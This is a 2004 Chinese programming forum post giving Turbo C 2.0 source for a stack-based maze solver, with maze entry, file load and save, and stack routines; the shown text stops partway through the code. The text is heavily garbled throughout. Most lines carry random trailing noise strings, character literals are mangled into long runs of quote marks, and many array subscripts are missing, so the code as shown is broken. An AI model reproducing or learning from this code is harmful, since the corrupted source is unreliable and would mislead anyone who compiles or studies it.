QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 7597|回复: 11
打印 上一主题 下一主题

C语言技术文章

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-10-4 02:34 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<DIV  align=left>
# L8 J9 ^: S' s< align=left>程序目的:  ?) l; s  A# {% x; q* \+ {. ?
输入一个任意大小的迷宫,用栈求出一条走出迷宫的路径,并
0 S2 w; i# K0 R( q' c6 D' d8 e显示在屏幕上。! I/ `* b8 r! L" _3 A4 Z. _) C+ B
程序实现:
, L% s7 d% D& }6 l- O可以实现载入迷宫和保存迷宫,附带文件中有4个测试迷宫路径的
* I( H8 p/ n3 a; Z; _. z& ~; i- J文件test1~4.dd。请将这些文件拷贝到TC当前目录下,或者在载
- ^5 ^0 q* p3 w9 J1 i* ~/ T# N$ B入时写明完全路径。由于屏幕大小的限制,当用户自己输入迷宫5 W# @9 U3 y$ A. x7 \8 W2 }8 c9 e
时一定要注意:迷宫大小是有限制的,不小于4*3,不大于30*20。4 y+ B2 r% T* `* v: Z" x
否则会出现错误信息。输入开始时全是墙,用上下左右键移动,6 U: k: Y! \# q+ \
用Del键删除墙,形成通路,用Enter键添加墙。输入结束时可以
. @" G6 p3 E. ?+ N3 \. G0 p将迷宫保存下来,以dd为扩展名。输入完毕时用F9键来得到结果,
1 ?1 N" Z* D# v0 q找到路径时,屏幕下方会出现Path found,否则出现Path not found。6 |% K( z8 F) l$ }8 L! I
程序经Turbo C 2.0编译调试成功。运行时不用添加任何运行库。+ e2 K& T4 N* `
不可以在VC上编译。
" n& [+ ?/ R  v: ]+ L$ Y, G下载DOS版和windows版的迷宫游戏全部代码2 A& k* _) F2 J+ U3 G* {5 i
用户名:migong
3 o$ {/ e! D# e( ^----------------------------------------------------------------------------------' G8 v5 }! e; n1 X
/*- A8 h6 L, d$ |3 X4 f9 f
MazePath Demo BY Turbo C 2.0/ P9 M; t& Y; n7 a( j8 @
Copyright(c) RoverUnion. All right reserved.
7 c% `# u8 Y; b: f( X3 K6 @4 mFilename: Maze.c4 a$ X( \0 J6 C. A. l9 q
Author Dongchengyu.( J# G; t/ W; i3 o1 s
Ver 1.10
* |! s3 X& I% w, X. z; `*/
7 d& p- X. ^+ E#include &lt;stdio.h&gt;
1 z5 w, K8 @% x; P1 N& d0 [#include &lt;stdlib.h&gt;% b1 A! }% ^2 {( @9 K& b
#include &lt;malloc.h&gt;3 H& z: j9 i4 V4 k, i
#include &lt;conio.h&gt;2 G4 z' [, ^- V1 d8 Z- W, u
#include &lt;dos.h&gt;
/ x" b! A' U1 H' S7 h! }1 P+ q; k#define OK 1
, f5 J# e; t5 j! P#define ERROR 0
' ^0 j7 @- M/ ?5 A) j+ u; m#define TRUE 1
- d: J6 V4 L8 Y#define FALSE 0, t( X  R! B3 ~  t6 t- o+ I( M
#define F9 0x43
* l) \* F1 d9 {9 g3 |9 r0 K#define Esc 0x1b+ `+ E, {7 [# C5 L- E' f" E* i
#define Del 0x53
2 b! A0 ^' I7 t( i2 l4 P3 U#define Home 0x47
+ }1 p7 E: d* Z/ u+ u3 o$ o$ R9 Q( O2 ]#define End 0x4f8 O2 Y4 I' ^/ t6 ^0 u
#define Space 0x20: L$ n* p# t! w% [% E) b
#define Up 0x48
& ?+ d  @) _' n3 X. ~- g& L#define Down 0x50
. o8 \$ x. h9 M3 t#define Left 0x4b
& K% F% I; I' T! X#define Right 0x4d
6 s# Q5 j9 C9 j7 d! Q; g6 I#define Enter 0x0d( b9 {" q* \1 ]1 G% R
#define F2 0x3c
6 n" ^" c3 e0 X. _7 f#define F3 0x3d7 a0 J, l, }5 f5 b
#define STACK_INIT_SIZE 200
& K* w3 \4 M. Q3 v#define STACKINCREMENT 10' m& D/ Z. V. j8 A7 H: w" C5 w
typedef int Boolean;8 i' A2 w7 Z) \; s' |2 m
typedef int Status;: F+ Q/ k) }4 ~9 o( e1 j1 s
typedef struct {2 R+ j1 e" B0 i: l- d4 y
int x;
2 d8 Q* @9 u% q- g/ lint y;; [4 v# f; W- T  O
} PosType;6 S% e' ?( _5 t4 K+ h/ k7 n
typedef struct {
" Q3 r# X4 R: j+ ^% Fint ord;
* v2 _8 u" ?7 d. mPosType seat;
, u) o* w. d1 _3 b5 `int di;
3 ~3 ]+ t' d1 M7 Z! W( p6 F! h} SElemType;
0 l* V4 ^9 K; i* p+ g0 Ptypedef struct {1 ]; w8 i8 i8 L- y: l* Z& U, d
int td;5 x1 ^' {; n) Y# e- W
int foot;
& s& c! W8 Q, h6 z9 y4 M0 ]  mint mark;8 A2 R# d' Z! T! U
} MazeType;' S  b4 R# P+ C$ z! F  x0 M
typedef struct {; i; R1 L' S: f" Q7 X1 x
SElemType *base;
, h; r8 J) i. cSElemType *top;3 j  D; M7 |; A# T( w8 p
int stacksize;' o. d3 i& D+ d& B  T
} Stack;
8 s; O5 P  t6 @- T7 sint Maze[20][30];7 Z# C% h! ]; W1 X, g0 t- S) S$ Q
MazeType maze[20][30];
" `( L1 X' R: s0 y# [, vPosType StartPlace;' [3 ~6 t6 M9 B% z
PosType EndPlace;
! _" n6 a$ ?0 E' W3 B/ Wint count;
; _& w3 S6 \* q/ C! e/ z% lint m,n;
( \# G$ K% `* _7 J. V+ QBoolean b_start=FALSE,b_end=FALSE;
( {1 d8 M- o( j+ X' U  }1 T  k% Vvoid CreatMaze(void);& x/ ^: z7 M! r; A
Status SaveMaze(char *filename);* Y" Z, A+ X+ r* K
Status LoadMaze(char *filename);
# g& J2 A' T+ y4 G/ z8 Q0 Q$ n: Ovoid Error(char *message);
% X4 }3 w! S7 g2 [, zStatus InitStack(Stack *s);
# g4 L4 `) }$ y7 Q; ~* P/ yStatus DestroyStack(Stack *s);, c) j7 O: u/ I; }0 H/ ^
Status ClearStack(Stack *s);
4 b2 D$ x/ G# T; i+ P3 EBoolean StackEmpty(Stack *s);! O/ H' A& F; f2 }# i+ \; C9 d
int StackLength(Stack *s);
! Z% p4 A" ]- }) NStatus Push(Stack *s,SElemType e);
# D- U1 N) I: a% R8 S5 b6 LSElemType Pop(Stack *s,SElemType e);
, _$ p  N( N3 D4 T, d7 L  i8 qStatus GetTop(Stack *s,SElemType *e);$ e5 M( G; q' _: T' M
Status StackTraverse(Stack *s,Status (* visit)(SElemType *se));
. R. z$ e/ u, ~1 OBoolean Pass(PosType curpos);" H9 }  k7 R9 T3 J/ Y
void MarkPrint(PosType seat);/ X9 ^* [* I2 ?( t# P
void FootPrint(PosType curpos);
+ [0 B( a0 l) S6 }- b0 hPosType NextPos(PosType seat,int di);+ F- ~- D! k6 B6 X5 B% {& i- N
Status MazePath(PosType start,PosType end);
8 X, j- W: m9 Bvoid CreatMaze(void)
6 S1 x5 J6 @1 E% g/* Form the maze. */
; S0 ?# U: V' [! k9 R{
# }% O( T$ K9 u# }/ q& w3 qvoid Error(char *message);
- R) y$ J' f5 v: _4 b- {3 T9 aStatus SaveMaze(char *filename);- K3 w# a" P) y, |2 a1 Z4 x
Status LoadMaze(char *filename);
$ d2 `6 ]+ w# `0 C& n0 `- f" Xint i,j;
7 H5 K% |3 C$ l# e5 Eint x,y;% i. O6 ?9 w+ _& Q8 L6 r
char c;
$ P5 `1 H/ e- \, C  ^* Rchar savename[12],loadname[12];0 L+ u& H! x8 y
Boolean flag=FALSE,load=FALSE;
7 k' P6 f8 p- rclrscr();  g. h4 I. ]2 {1 W6 E
printf("Menu:\n\n");
9 R& |4 r; L4 b) s; jprintf("1.Load Mazefile*.dd)\n\n");8 C  X$ K7 ?. o# A0 X
printf("2.Input Maze:\n\n");, J& A- Y$ j$ |4 T% [% i) B
printf("Input your choice: ");
, j3 ~7 d% b8 G, D( D/ Mdo* B' f- x: b+ V+ g$ t) V* \
{3 U% m) A6 b/ \
c=getch();
" \0 p9 {/ d8 O7 j2 S) @. D1 n) w( Hswitch(c)
# V8 ~! c( E3 T4 d{
: [; ~; k/ ], ycase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''); break;' U$ Y  `7 b- ^0 q% _
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': putch(''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''); break;
9 N: c( g+ P, r1 A3 F/ x! X7 }case Esc: sleep(1); exit(1);% m2 l+ h& G0 ?8 x; Z
default: break;8 U7 V8 P5 Z% j3 X( C2 S  o
}
$ H' m* v( p6 K3 @1 r$ c2 g  j}9 A" c3 p7 k7 h
while(c!=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''&amp;&amp;c!=''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''') ;5 D5 c; }+ ^, e/ u2 y2 p7 m
if(c==''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''')
$ u6 P/ n2 s- ~{) h0 g, T. ^, w  ?" F. t# q) o
printf("\n\nLoadName: ");! K- H/ W0 o' W9 _9 R  P$ x
scanf("%s",loadname);
4 s; l7 }9 w  s' I; Tif(LoadMaze(loadname))
5 R4 W" S$ U) X; |! E{
% x+ d6 @6 f* ^; o/ Y$ \/ _0 m- Q! isleep(1); load=TRUE;
8 z7 Y: ]/ S1 K}( v/ i3 ~8 D+ R# l  `
else { gotoxy(1,9); printf("Load fail! "); }
/ p: P' z; p0 U! i7 H* v9 i8 j}5 G- y$ J* [. N0 d- k1 e
if(!load)" c( m* ~( a% Q8 \
{/ m8 F: N# x# q1 f
printf("\nInput the maze''''''''''''''''''''''''''''''''s size:\n");. P7 T$ T9 }! q- Q& K+ L
printf("\nInput Length :\n");5 S5 l* `* A  P# w) e
scanf("%d",&amp;m);
- K5 u5 [7 m- x6 i( t, t& z0 A  Wprintf("\nInput Width :\n");& c1 x! B( C6 N, f( V
scanf("%d",&amp;n);  P( P& @! b( V
if(m&lt;4||n&lt;4) Error("Input");
% P4 J+ l9 h7 @$ Yif(m&gt;30||n&gt;20) Error("Maze too large");
  C4 [6 t+ }9 U/ Q) V1 Qfor(i=0;i&lt;30;i++)
% m% K2 D1 ^# S* efor(j=0;j&lt;20;j++)
! w( W9 E* g% n  L7 }Maze[j]=2;' a1 ]) v4 c- L- M& c* R" j
StartPlace.x=0;- P* U. H) m* R" @/ y
StartPlace.y=0;
) M. y- O8 I" m( t! |7 q9 nEndPlace.x=0;9 y( x4 P3 f: Y6 T; f
EndPlace.y=0;
/ D8 U/ V( U' p0 Eclrscr();. H: @6 g" w3 Q/ N+ ]% l$ g& ^$ }
printf("\n");' A1 d: \5 e, w6 [- I8 y& m
for(i=1;i&lt;=n;i++)9 O, R' z: B: H8 x" |6 C9 l# H5 l
{' q) |: x7 G+ @- G
for(j=1;j&lt;=m;j++): Z; O! z" Y2 w* B- ^' o
{0 e+ B+ k9 a5 |& w
printf(" #");7 G" j, y9 ]" u4 K5 t2 C! b
Maze[i-1][j-1]=0;
! Q' O4 i2 t; [- a0 l9 W# V}
9 v; `; _" T) ?$ _" O5 w% a5 Oprintf("\n");+ r3 q2 S. _9 x& d
}
; P& l8 r. }& E% |}2 j, \7 G" f1 k6 r8 |' Z  d
gotoxy(65,5);
/ `. j- u: o2 K' z# z( vprintf("''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''':Wall");  B. e7 k" z6 t$ c
gotoxy(65,7);
4 l* u2 z4 r) x9 Gprintf("Start:Home");  S) n- [- {! J& T8 n# {5 V+ d7 T5 N
gotoxy(65,9);
/ D( [- X5 t, C3 R6 o$ V! ?printf("End:End");: _2 u8 p# X. g( x
gotoxy(65,11);
8 X3 J8 V; v% z9 w- d# Iprintf("Delete Wallel");/ W7 N* m/ T1 t9 o+ N/ U
gotoxy(65,13);8 R# o( E6 d) i  n7 _7 {- Y
printf("Enter Wall:Enter");# t% X; ~: P8 @+ J3 T* Y0 H
gotoxy(65,15);& k3 B( i; E( [
printf("Save Maze:F2");3 o, g" a0 _, T& ~& s
gotoxy(65,17);
0 I7 q2 ~: c+ `printf("Complete:F9");
/ A$ H9 Q" N" S: P! Jgotoxy(65,19);
7 E, P! f: Q% V1 ^- p( y% }, dprintf("Exit:Esc");. P0 E/ Y  H% X& F/ @, z
gotoxy(4,3);$ x7 ?; w6 `' v6 T  F/ k- W, B
x=4;y=3;
. y. X1 w5 c1 u. t$ Q+ s7 _$ odo' E7 i+ T. X2 v' p
{
" E# Z4 R$ C2 y, M  U+ }c=getch();
4 _8 `: [- H# ^% q7 ~/ wswitch(c)
$ t5 P) m" K9 g) i4 Y{
+ k' s! t; j! @: Q* Dcase Up: if(y&gt;3) { y--; gotoxy(x,y); }4 R3 p6 W. Z. g9 T
break;; p; Z' M( D9 l) z8 M" z
case Down: if(y&lt;n) { y++; gotoxy(x,y); }( r0 p8 }/ y* L9 ^4 ~/ d# f2 Y
break;
' S+ O- b& a0 F# ~7 T1 Vcase Left: if(x&gt;4) { x-=2; gotoxy(x,y); }  l& J9 |2 D$ n( D, k& A/ K
break;
+ D6 E% n- l. o: ]. o- M$ c* Ycase Right: if(x&lt;2*m-2) { x+=2; gotoxy(x,y); }/ L9 @- J4 f$ L4 A! O# j& s# \
break;: `1 Z* s4 b' Q- M8 _( }# C1 B
case Del: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) b_start=FALSE;
: Y' o, L- ~1 ?& L' [  H; {if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) b_end=FALSE;, ?2 f) R8 e" c- Q6 Y
putch('''''''''''''''''''''''''''''''' ''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=1; gotoxy(x,y);
& x2 A( N/ x1 i. U& N/ U3 P. Cbreak;
8 [( `" E  k, f7 Q4 ~6 G  lcase Enter: if(y-2==StartPlace.y&amp;&amp;x/2-1==StartPlace.x) break;/ i0 g3 t6 r( M4 C: f6 }3 m
if(y-2==EndPlace.y&amp;&amp;x/2-1==EndPlace.x) break;/ }5 ?8 Z, H0 |  c$ x
putch(''''''''''''''''''''''''''''''''#''''''''''''''''''''''''''''''''); Maze[y-2][x/2-1]=0; gotoxy(x,y);
/ B6 Y& F" e( D3 x/ Tbreak;
0 D5 W" d3 x, S8 F8 Fcase Home: if(Maze[y-2][x/2-1]&amp;&amp;!b_start)8 h" M6 }1 o) e$ A7 _: e
{) }; J  S6 F) t* E5 N
StartPlace.x=x/2-1;
; a7 A# c; v4 Z2 L% F) XStartPlace.y=y-2;
" g/ y8 u, P# @: t" N2 J" j8 Vputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');1 h5 h: p* I" E  a* N& V8 ]
gotoxy(x,y);8 p  P) ^1 l; u% n
b_start=TRUE;
( t. O& k7 S( Y}
5 A( d& b7 [/ K) R  Z! ]! |break;
* Y' Z. B8 K0 A( x: \) T3 P0 W( Ecase End: if(Maze[y-2][x/2-1]&amp;&amp;!b_end)! d; t6 A+ E, J& d9 ^
{
- d( K; U( ]' |+ QEndPlace.x=x/2-1;: R" s3 ~- }9 C, f
EndPlace.y=y-2;
- W% C3 f7 O5 J/ rputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');% O+ F0 B4 O& {: ^+ `* z5 J, _! ]8 v
gotoxy(x,y);
. y; ^4 k" s" }7 C/ ?1 Mb_end=TRUE;
% J8 ~& Y$ J* j9 t) n}7 E7 L- e0 _6 j& ^
break;$ G/ t" n8 g- g" P/ ~6 s: q
case Esc: gotoxy(2,22); printf("exit"); sleep(1); exit(1);. U6 I2 w$ b# _, Y! f4 p
case F9: if(b_start&amp;&amp;b_end) flag=TRUE; break;7 r/ M* S9 `+ }7 A% n% X
case F2: gotoxy(2,22);7 \! z5 }: r, n0 {
printf("Savename:");. ^8 K! J6 N# f# U$ g7 v
scanf("%s",savename);; K" S6 T# o7 k- C4 ]
gotoxy(2,22);
! U3 L' ~/ B& H' N& O+ cif(SaveMaze(savename)) printf("Save OK! ");
% H, g/ H/ J, p) Aelse printf("Save fail! ");
2 |" g9 T: M3 R  A! k0 B( ^. k! F3 Qsleep(1);( h0 H& s! b( i! [0 t
gotoxy(2,22);
% d& T5 u2 b( B( H) @; C, {& Yprintf(" ");
8 h: ^# V1 k: Z: I, t, J& ngotoxy(x,y);
# J' N7 _; k$ x5 Gbreak;
" A$ R3 T+ ^, _: sdefault: break;
, v9 i% R9 L& I4 c}
. T$ h7 U( v3 |( {}- N" a# ~9 }; c% R5 G* N5 O, w
while(!flag);* ^8 ~- z$ `  P! B
for(i=0;i&lt;30;i++)3 ^9 ^$ T; Y7 G- K
for(j=0;j&lt;20;j++)
! E6 Z/ H+ N" ~( C{, C7 b" c: @3 L. k  V. W
maze[j].td=Maze[j];
  P" J  Z& d$ @& x- q1 Fmaze[j].mark=0;* f8 L7 b. |& g% w# H
maze[j].foot=0;9 w' [- z! `' ~/ z. d
}
/ Z& b( P) F0 z}
) S: u9 |4 p+ KStatus LoadMaze(char *file); ]! l; Y# q  E& F  c1 n% J
/* The maze has been loaded. */
" A+ ]0 G0 R: h( W( v0 h; O{* W  ?5 t7 Q1 P( r
FILE *fp;- N! ]6 z; v0 m( a, {; d
char *buffer;
. F) k% y, k* F% r7 V' ?char ch;
. l( e4 u) y: b+ ]( ]5 H+ Pint i=0,j,k;* }- g0 h$ j$ l+ w) F
Boolean len=FALSE,wid=FALSE;$ z1 R. x" V$ C+ s: @
if((fp=fopen(file,"r"))==NULL)5 _7 R6 q: U; k* j" b2 ~
return ERROR;3 s1 ?* f$ M! C  f4 W4 }3 v  }
buffer=(char *)malloc(600*sizeof(char));7 t  B6 x" f. }/ U$ Q8 d' E
ch=fgetc(fp);
, W, a# }4 s4 r# {; I* cwhile(ch!=EOF)7 E1 d# k" e0 r
{
' X  O' C  Z# T# z. p  ]buffer=ch;/ P* c, v3 z" }- t! U8 `
i++;, h1 m9 k& b" B* w! U7 K
ch=fgetc(fp);
. _6 e; E0 _, Q}
4 t+ c, n4 Y, D4 K! Pm=30;n=20;
* @7 _( n4 _1 o# v( Hfor(i=0;i&lt;600;i++): E4 a. ]3 a/ I7 x* f8 Y
{
6 Q2 ]- @3 @8 G5 R$ E9 Rj=i/30; k=i%30;! t, ^* E2 N0 k* D+ h+ E7 u
if(buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!len){ m=i; len=TRUE; }
" [' H  q  x* Q9 _$ B: V+ O  Y8 M, Eif(k==0&amp;&amp;buffer==''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''&amp;&amp;!wid){ n=j; wid=TRUE; }
) H3 N8 s* v. }& c. h, s# rswitch(buffer)) ^  C; f- N: ^) B
{2 ~8 G! [* {) N+ q) t
case ''''''''''''''''''''''''''''''''0'''''''''''''''''''''''''''''''': Maze[j][k]=0; break;
9 o: |7 o0 S- o, h; p& D1 acase ''''''''''''''''''''''''''''''''1'''''''''''''''''''''''''''''''': Maze[j][k]=1; break;, M6 `1 M: A3 e& [( R! A
case ''''''''''''''''''''''''''''''''2'''''''''''''''''''''''''''''''': Maze[j][k]=2; break;
/ I' A2 r3 Z$ `$ ]/ \' j) _case ''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''': Maze[j][k]=1;
* G6 p: q1 N! `. S, \# aStartPlace.x=k;
- g/ B6 i2 g1 X" nStartPlace.y=j;. h6 x$ }1 T! h* A4 r: I/ a% B4 n9 ]
b_start=TRUE;
1 c- ]9 e# p3 hbreak;9 X4 I$ ]! @/ v/ M. {: t! y, P
case ''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''': Maze[j][k]=1;5 b4 D6 l$ E' X/ p- K' G
EndPlace.x=k;' w/ n& x% q9 X5 h* K) [* t6 b
EndPlace.y=j;
8 J/ `  W" p( \3 Hb_end=TRUE;' Q  n9 H, h; K% A9 D, W
break;
$ c3 z$ c& ]5 }# c5 J* n" kdefault : break;( U+ f! ~2 z0 ?
}. a9 ]4 F, S" k: D: U! H% [
}( z, g3 U  i5 W# V4 c; [
fclose(fp);- u) }" ^& |7 |, u) @: W/ l
clrscr();
" W- S* z! \$ qfor(i=0;i&lt;30;i++)
( b; i" x" K  q& a4 b% [for(j=0;j&lt;20;j++)
) W; _1 {. k" U8 g{
8 _2 {2 e$ ?9 Q4 i0 Tmaze[j].td=Maze[j];. Q  v' ]8 `) A& i) m, k+ U
maze[j].foot=0;
* P$ @* T; m- [* Lmaze[j].mark=0;
5 N) l( V/ ]% {% C1 ~* S. l, K( N' W' e+ pif(Maze[j]==0)5 S% r; L1 h" {3 L! t" z# |
{
% E1 C9 I* B, b- }& igotoxy(2*i+2,j+2);
9 ?' Z6 a% J3 t! uputch(''''''''''''''''''''''''''''''''#'''''''''''''''''''''''''''''''');
" s2 n6 I- X1 ?5 `}! C  U) P1 s: d3 e3 I
}7 t" m* a$ u0 f4 b
gotoxy(2*StartPlace.x+2,StartPlace.y+2);
7 m* q+ g% |! v( P9 C# yputch(''''''''''''''''''''''''''''''''S'''''''''''''''''''''''''''''''');/ G8 N# h6 u* P" p
gotoxy(2*EndPlace.x+2,EndPlace.y+2);
5 A! Q5 x! u  L1 S$ qputch(''''''''''''''''''''''''''''''''E'''''''''''''''''''''''''''''''');% I! p. _. }7 Z1 \: B8 |, O
return OK;
8 w% V1 C/ D" C! M% ~; ^0 o' e}" w% X& G9 C3 U% P; E
Status SaveMaze(char *filename)+ l' c; L1 }' E! ~3 X- V3 w
/* The maze has been saved. */% c3 L3 g& o3 y  Q! E4 a. Z
{7 N; X7 r% E/ r
FILE *fp;" z* x" c* o  ]$ z4 q( D
char *buffer;
- V! Y5 s- M+ r% d: ]9 oint i,j,k;
- ^) O: R4 q* Z# G/ m& J9 Gfp=fopen(filename,"wb");
8 T- i7 L8 V! j) g( ubuffer=(char *)malloc(600*sizeof(char));
" G, C  K% W; Y& O9 yfor(i=0;i&lt;600;i++)
  F, Y9 M% p! ]& b( V: s, `/ o{2 m- p3 Q  {6 N: T1 M: c
j=i/30; k=i%30;3 k6 _+ t6 A* @, D5 N' `
switch(Maze[j][k])9 e: u3 ]1 a, X  y/ P/ N
{
  u9 ~0 s; y- i) l( `# kcase 0: buffer=''''''''''''''''''''''''''''''''0''''''''''''''''''''''''''''''''; break;  d5 A9 T# m0 S# J6 C- S8 ^+ x
case 1: buffer=''''''''''''''''''''''''''''''''1''''''''''''''''''''''''''''''''; break;
0 s0 h7 h9 E) zcase 2: buffer=''''''''''''''''''''''''''''''''2''''''''''''''''''''''''''''''''; break;, y! y# n7 }( @7 t; n' N7 {+ J7 ~; x
default : Error("Write"); break;( Z4 y- a0 U7 ^1 ~
}
" `+ v. C3 s5 x" [, g$ sif(k==StartPlace.x&amp;&amp;j==StartPlace.y) buffer=''''''''''''''''''''''''''''''''3'''''''''''''''''''''''''''''''';& X9 A* O# A# y8 f) V
if(k==EndPlace.x&amp;&amp;j==EndPlace.y) buffer=''''''''''''''''''''''''''''''''4'''''''''''''''''''''''''''''''';2 G9 {+ ^( X9 y& B. I
}
9 s3 Z, m/ z" b5 b1 j0 Zfwrite(buffer,600,1,fp);
- U* L. V3 v" d, U& W& k9 y# jfree(buffer);
1 P4 a3 [/ A: U9 V6 c6 @fclose(fp);
" A- J* C- r6 qreturn OK;
4 j& y  t9 M/ g* s}
; t5 S6 ~; B0 w" o5 `7 evoid Error(char *message). g5 `. |8 z6 E2 U+ _
{0 k$ g* f2 e$ @. {
clrscr();9 u1 c4 {1 y; {" Q! N
fprintf(stderr,"Error:%s\n",message);
9 ~: V, _+ [8 G0 yexit(1);; j) c8 h' ^7 P7 e6 E) F
} /* Error */
6 L8 H0 j5 o& T8 {
& R$ {0 S# x+ C* kStatus InitStack(Stack *s)& m% B. M0 F, b( E: v. w
/* The stack s has been created and is initialized to be empty. */
( r  s" b: B* p% i3 q{
. c5 V. ^2 K7 W8 v8 E% K4 As-&gt;base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));: T8 _: M/ e0 f; q* J/ i
if(!s-&gt;base) Error("Overflow");
# C3 ]) Q! U4 y; ^1 L, js-&gt;top=s-&gt;base;
  v* h: D: {3 T& u4 S" d4 Cs-&gt;stacksize=STACK_INIT_SIZE;
8 j* D& E: E. S0 hreturn OK;
  }1 n+ l9 m! a$ d, B} /* InitStack */
" }0 }# k/ y1 V8 MStatus DestroyStack(Stack *s)! D3 h* ?6 z# N0 F: ^
/* The stack s has been destroyed. */" ]& m* l& c- s* h. {: I4 W+ V
{7 k4 Z3 }+ C6 W% m
s-&gt;top=NULL;) u: p# \3 F* O, {
s-&gt;stacksize=0;. j2 }- Y& [/ z1 \
free(s-&gt;base);
- r3 M% l$ `& a7 c0 f6 ts-&gt;base=NULL;
% `1 }' I: A5 R0 n- J0 [& Creturn OK;, ~1 i; \- ]& v" K: r1 y$ A
} /* DestroyStack */! `. N. `; n1 P8 o
Status ClearStack(Stack *s)& |4 V+ L1 Y& ~% h
/* The stack has been clear to be maximum. */2 K6 X5 k+ b! o& O# N& W
{- r) V+ V; k1 d$ q+ D$ ~; X$ F9 h
s-&gt;top=s-&gt;base;! m2 l9 y- i- }; a  H- K$ @( K. f
s-&gt;stacksize=STACK_INIT_SIZE;* j- K* S2 j3 n8 b' [
return OK;+ g+ S' `3 k8 K. W; f+ W0 L. t  M
} /* ClearStack */
& y. W3 R' S0 ?5 nBoolean StackEmpty(Stack *s)
4 {" P- |2 x! t+ W0 W/* Check if the stack s is empty. */
1 [* a" H$ u4 [6 w7 u{
+ m" [2 v2 G+ M) |4 Q) Q+ ~if(s-&gt;top==s-&gt;base) return TRUE;, R3 Y6 d- Y. m
else return FALSE;# a9 Y6 m9 `* v$ t7 w
} /* StackEmpty *// Z7 @' J; {6 R% n; @1 ^
int StackLength(Stack *s)& q/ O6 ]$ N2 U4 U% L" |! l0 I
/* Gain the length of the stack s. */, K- ^/ Y: @" N- V- U
{3 M0 A" \9 k  {; `. \6 X
if(s-&gt;top&gt;s-&gt;base) return (int)(s-&gt;top-s-&gt;base);
: w& @4 U( A' q( ], n! _else return 0;
/ ^, v& H6 y/ l  F) b* V4 u7 {} /* StackLength */
) x/ y. q% g, |. D+ X" a0 R. WStatus Push(Stack *s,SElemType e)# l" f2 x) S+ G* y
/* The element e has been pushed into the stack s. */
& m" r# F: d! \7 d{
9 U5 q! [# ~; d1 }if(s-&gt;top-s-&gt;base&gt;=s-&gt;stacksize)
: I) e  p" g6 w6 W1 c{- g0 U3 Y# I- w: t
s-&gt;base=(SElemType *)realloc(s-&gt;base,* T$ a, h2 u3 `5 ~6 j6 d
(s-&gt;stacksize+STACKINCREMENT)*sizeof(SElemType));5 @% S5 I; p; l* K: A
if(!s-&gt;base) Error("Overflow");
. W% m6 u0 e) v4 j! s- v3 t' e; K: is-&gt;top=s-&gt;base+s-&gt;stacksize;7 i3 z; M; q8 ~% F" m8 J# n
s-&gt;stacksize+=STACKINCREMENT;8 t2 s0 v3 ~: g( }
}; z; f7 }3 n2 k* y# l5 j
*s-&gt;top++=e;( q( ^0 J- c% ]; U. _
return OK;
1 h/ ?4 |- N3 Q8 X- Y7 n( }- r7 s9 [} /* Push */
  g* X" S1 z9 o0 b: \SElemType Pop(Stack *s,SElemType e); e: B0 ^9 _, O; N+ R" x9 m) p
/* The element e has been removed from the stack s. */3 z+ @: i  }# Q9 ^* f9 `" I( {% A& [+ y, y
{9 N+ b! N7 n0 b7 y- Y' q1 B+ b' Y6 ]9 ?
if(s-&gt;top==s-&gt;base) Error("op");
" w: ~+ d$ `7 l+ N) s$ ]+ Ie=*--s-&gt;top;
( a$ B5 A: }' y- z! Z7 d7 N* ?) ereturn e;
( W: h' F% E& o( z} /* Pop */' ^2 F6 z+ E  K: C0 \
Status GetTop(Stack *s,SElemType *e)
7 S# |4 E$ j7 a+ y% X- U/* The element e has got to the top of the stack s.*/
: {: u6 M: w: K, Z( U{: |2 I+ w. Q3 H; e3 T/ l% p1 r# a
if(s-&gt;top==s-&gt;base) Error("GetTop");: g3 J# |" O% M
*e=*(s-&gt;top-1);
) j: O, o9 z  K% q7 j, freturn OK;0 ], y/ b2 D/ k8 Z. c
} /* GetTop */
$ a" |- ^8 M+ W: R/ \. _$ u/* Traverse the stack s using ''''''''''''''''''''''''''''''''visiting'''''''''''''''''''''''''''''''' function. */$ d+ l! A  q0 Z$ ]' b
/* Status StackTraverse(Stack *s,Status (* visit)(SElemType *se))& [9 _. ^* ~+ R0 M6 Y
{+ v( a* K) x) I; w3 }- f
SElemType p;& _, y+ i! s+ U4 r4 F
int result;9 _' n! _( \) S! U$ \/ q' J, s
if(s-&gt;top==s-&gt;base) return ERROR;5 }8 q& i4 Q2 i! c3 V
p=s-&gt;base;
# a) O: J  H; qwhile(!(p==s-&gt;top)): F* Y+ q, e* g& u
{# P. Y) z* D0 o+ b
result=(*visit)(p);) a0 i$ ?7 B1 a
p++;
9 W3 O9 \  u2 L8 t: [0 z}
- H" W5 T9 q) Hreturn OK;+ [9 w* t2 R' x0 _4 D$ q
} */
, _& l4 [& W8 L( R$ L' @Boolean Pass(PosType curpos)5 C/ j4 x; {. T. g
/* Check if the current position can be passed. */
4 v8 N6 J" Q$ o; O{
- @% k( s$ M$ o7 Qif(maze[curpos.x][curpos.y].td==1&amp;&amp;
2 c/ i1 }6 b" }1 s& j2 cmaze[curpos.x][curpos.y].foot==0&amp;&amp;maze[curpos.x][curpos.y].mark==0)
' x! `) y4 @4 G$ C3 Q2 }3 }& Z& creturn TRUE;
: h$ ^& w, S, r3 M' R  Welse return FALSE;
6 S& x" l. a! j4 |- A. T# j! Y} /* Pass */
